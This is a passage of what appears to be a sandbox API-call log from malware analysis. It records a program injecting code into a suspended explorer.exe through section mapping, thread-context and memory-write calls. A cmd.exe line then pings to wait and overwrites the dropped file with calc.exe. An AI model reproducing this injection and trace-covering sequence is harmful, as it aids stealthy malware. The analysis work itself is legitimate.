[38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0289.007] NtProtectVirtualMemory (in: ProcessHandle=0x2c0, BaseAddress=0x19fea4*=0x21b5c0, NumberOfBytesToProtect=0x19feb0, NewAccessProtection=0x40, OldAccessProtection=0x19fea0 | out: BaseAddress=0x19fea4*=0x21b000, NumberOfBytesToProtect=0x19feb0, OldAccessProtection=0x19fea0*=0x20) returned 0x0 [0289.045] NtWriteVirtualMemory (in: ProcessHandle=0x2c0, BaseAddress=0x21b5c0, Buffer=0x19fea8*, NumberOfBytesToWrite=0x5, NumberOfBytesWritten=0x19feb0 | out: Buffer=0x19fea8*, NumberOfBytesWritten=0x19feb0*=0x5) returned 0x0 [0289.163] FreeLibrary (hLibModule=0x777e0000) returned 1 [0289.163] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 0x2c8 [0289.163] GetLastError () returned 0x0 [0289.163] ResumeThread (hThread=0x2b0) returned 0x1 [0289.196] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x2710) returned 0x102 [0299.803] CloseHandle (hObject=0x2c8) returned 1 [0299.803] TerminateProcess (hProcess=0x2c0, uExitCode=0x0) returned 1 [0299.805] CloseHandle (hObject=0x2b0) returned 1 [0299.805] CloseHandle (hObject=0x2c0) returned 1 [0299.806] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\WINDOWS\\SysWOW64\\explorer.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fef8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19fee8 | out: lpCommandLine="C:\\WINDOWS\\SysWOW64\\explorer.exe", lpProcessInformation=0x19fee8*(hProcess=0x2b0, hThread=0x2c0, dwProcessId=0x794, dwThreadId=0x95c)) returned 1 [0299.826] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x14) returned 0x220f848 [0299.826] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x777e0000 [0299.826] lstrlenA (lpString="n") returned 1 [0299.826] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f848 | out: hHeap=0x2190000) returned 1 [0299.826] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f848 [0299.826] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x10) returned 0x220faf8 [0299.826] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x13) returned 0x220f868 [0299.826] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x15) returned 0x220f888 [0299.826] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x17) returned 0x220f8a8 [0299.826] RtlAllocateHeap (HeapHandle=0x2190000, Flags=0x8, Size=0x8) returned 0x220ffd0 [0299.827] GetProcAddress (hModule=0x777e0000, lpProcName="NtUnmapViewOfSection") returned 0x77851fb0 [0299.827] GetProcAddress (hModule=0x777e0000, lpProcName="NtCreateSection") returned 0x778521b0 [0299.827] GetProcAddress (hModule=0x777e0000, lpProcName="NtMapViewOfSection") returned 0x77851f90 [0299.827] GetProcAddress (hModule=0x777e0000, lpProcName="NtWriteVirtualMemory") returned 0x778520b0 [0299.827] GetProcAddress (hModule=0x777e0000, lpProcName="NtProtectVirtualMemory") returned 0x77852210 [0299.827] GetProcAddress (hModule=0x777e0000, lpProcName="NtClose") returned 0x77851de0 [0299.828] lstrlenA (lpString="NtUnmapViewOfSection") returned 20 [0299.828] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f848 | out: hHeap=0x2190000) returned 1 [0299.828] lstrlenA (lpString="NtCreateSection") returned 15 [0299.828] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220faf8 | out: hHeap=0x2190000) returned 1 [0299.828] lstrlenA (lpString="NtMapViewOfSection") returned 18 [0299.828] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f868 | out: hHeap=0x2190000) returned 1 [0299.828] lstrlenA (lpString="NtWriteVirtualMemory") returned 20 [0299.828] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f888 | out: hHeap=0x2190000) returned 1 [0299.828] lstrlenA (lpString="NtProtectVirtualMemory") returned 22 [0299.828] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f8a8 | out: hHeap=0x2190000) returned 1 [0299.828] lstrlenA (lpString="NtClose") returned 7 [0299.828] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220ffd0 | out: hHeap=0x2190000) returned 1 [0299.828] NtCreateSection (in: SectionHandle=0x19fbb4, DesiredAccess=0xe, ObjectAttributes=0x0, MaximumSize=0x19fba8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fbb4*=0x278) returned 0x0 [0299.828] GetCurrentProcess () returned 0xffffffff [0299.828] NtMapViewOfSection (in: SectionHandle=0x278, ProcessHandle=0xffffffff, BaseAddress=0x19fbb8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fbb0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x19fbb8*=0x2120000, SectionOffset=0x0, ViewSize=0x19fbb0*=0x37000) returned 0x0 [0299.830] NtMapViewOfSection (in: SectionHandle=0x278, ProcessHandle=0x2b0, BaseAddress=0x19fbbc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fbb0*=0x37000, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x19fbbc*=0x28e0000, SectionOffset=0x0, ViewSize=0x19fbb0*=0x37000) returned 0x0 [0299.889] lstrlenA (lpString="3") returned 1 [0299.889] GetCurrentProcess () returned 0xffffffff [0299.889] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x2120000) returned 0x0 [0300.479] NtClose (Handle=0x278) returned 0x0 [0300.479] GetThreadContext (in: hThread=0x2c0, lpContext=0x19fbd4 | out: lpContext=0x19fbd4*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x260a000, Edx=0x0, Ecx=0x0, Eax=0x21b5c0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0300.479] NtProtectVirtualMemory (in: ProcessHandle=0x2b0, BaseAddress=0x19fea4*=0x21b5c0, NumberOfBytesToProtect=0x19feb0, NewAccessProtection=0x40, OldAccessProtection=0x19fea0 | out: BaseAddress=0x19fea4*=0x21b000, NumberOfBytesToProtect=0x19feb0, OldAccessProtection=0x19fea0*=0x20) returned 0x0 [0300.480] NtWriteVirtualMemory (in: ProcessHandle=0x2b0, BaseAddress=0x21b5c0, Buffer=0x19fea8*, NumberOfBytesToWrite=0x5, NumberOfBytesWritten=0x19feb0 | out: Buffer=0x19fea8*, NumberOfBytesWritten=0x19feb0*=0x5) returned 0x0 [0300.591] FreeLibrary (hLibModule=0x777e0000) returned 1 [0300.591] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 0x278 [0300.591] GetLastError () returned 0x0 [0300.591] ResumeThread (hThread=0x2c0) returned 0x1 [0300.628] WaitForSingleObject (hHandle=0x278, dwMilliseconds=0x2710) returned 0x0 [0306.908] CloseHandle (hObject=0x278) returned 1 [0306.909] CloseHandle (hObject=0x2c0) returned 1 [0306.909] CloseHandle (hObject=0x2b0) returned 1 [0306.909] lstrlenW (lpString="C:\\WINDOWS\\SysWOW64\\explorer.exe") returned 32 [0306.909] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f700 | out: hHeap=0x2190000) returned 1 [0306.909] lstrlenW (lpString="C:\\WINDOWS\\SysWOW64\\mobsync.exe") returned 31 [0306.909] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f750 | out: hHeap=0x2190000) returned 1 [0306.909] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 53 [0306.909] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f798 | out: hHeap=0x2190000) returned 1 [0306.909] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220fa68 | out: hHeap=0x2190000) returned 1 [0306.909] lstrlenA (lpString="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 40 [0306.909] HeapFree (in: hHeap=0x2190000, dwFlags=0x0, lpMem=0x220f810 | out: hHeap=0x2190000) returned 1 [0306.909] ReleaseMutex (hMutex=0x2b4) returned 1 [0306.909] CloseHandle (hObject=0x2b4) returned 1 [0306.909] ExitProcess (uExitCode=0x0) Thread: id = 354 os_tid = 0xf88 Thread: id = 376 os_tid = 0x1358 Thread: id = 378 os_tid = 0xee4 Process: id = "23" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x519e5000" os_pid = "0x10f0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0xe40" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c ping.exe -n 6 127.0.0.1 & type \"C:\\WINDOWS\\System32\\calc.exe\" > \"C:\\BlotRots\\Loterios.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 361 os_tid = 0x1180 [0268.013] GetModuleHandleA (lpModuleName=0x0) returned 0xaa0000 [0268.013] __set_app_type (_Type=0x1) [0268.013] __p__fmode () returned 0x74413c14 [0268.013] __p__commode () returned 0x744149ec [0268.013] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xab6fd0) returned 0x0 [0268.013] __getmainargs (in: _Argc=0xacd1a4, _Argv=0xacd1a8, _Env=0xacd1ac, _DoWildCard=0, _StartInfo=0xacd1b8 | out: _Argc=0xacd1a4, _Argv=0xacd1a8, _Env=0xacd1ac) returned 0 [0268.013] _onexit (_Func=0xab8030) returned 0xab8030 [0268.014] _onexit (_Func=0xab8040) returned 0xab8040 [0268.014] _onexit (_Func=0xab8050) returned 0xab8050 [0268.014] _onexit (_Func=0xab8060) returned 0xab8060 [0268.014] _onexit (_Func=0xab8070) returned 0xab8070 [0268.016] _onexit (_Func=0xab8080) returned 0xab8080 [0268.016] GetCurrentThreadId () returned 0x1180 [0268.016] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1180) returned 0xbc [0268.016] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74560000 [0268.016] GetProcAddress (hModule=0x74560000, lpProcName="SetThreadUILanguage") returned 0x74574f70 [0268.016] SetThreadUILanguage (LangId=0x0) returned 0x990409 [0268.024] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0268.024] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x7dfc44 | out: phkResult=0x7dfc44*=0x0) returned 0x2 [0268.024] VirtualQuery (in: 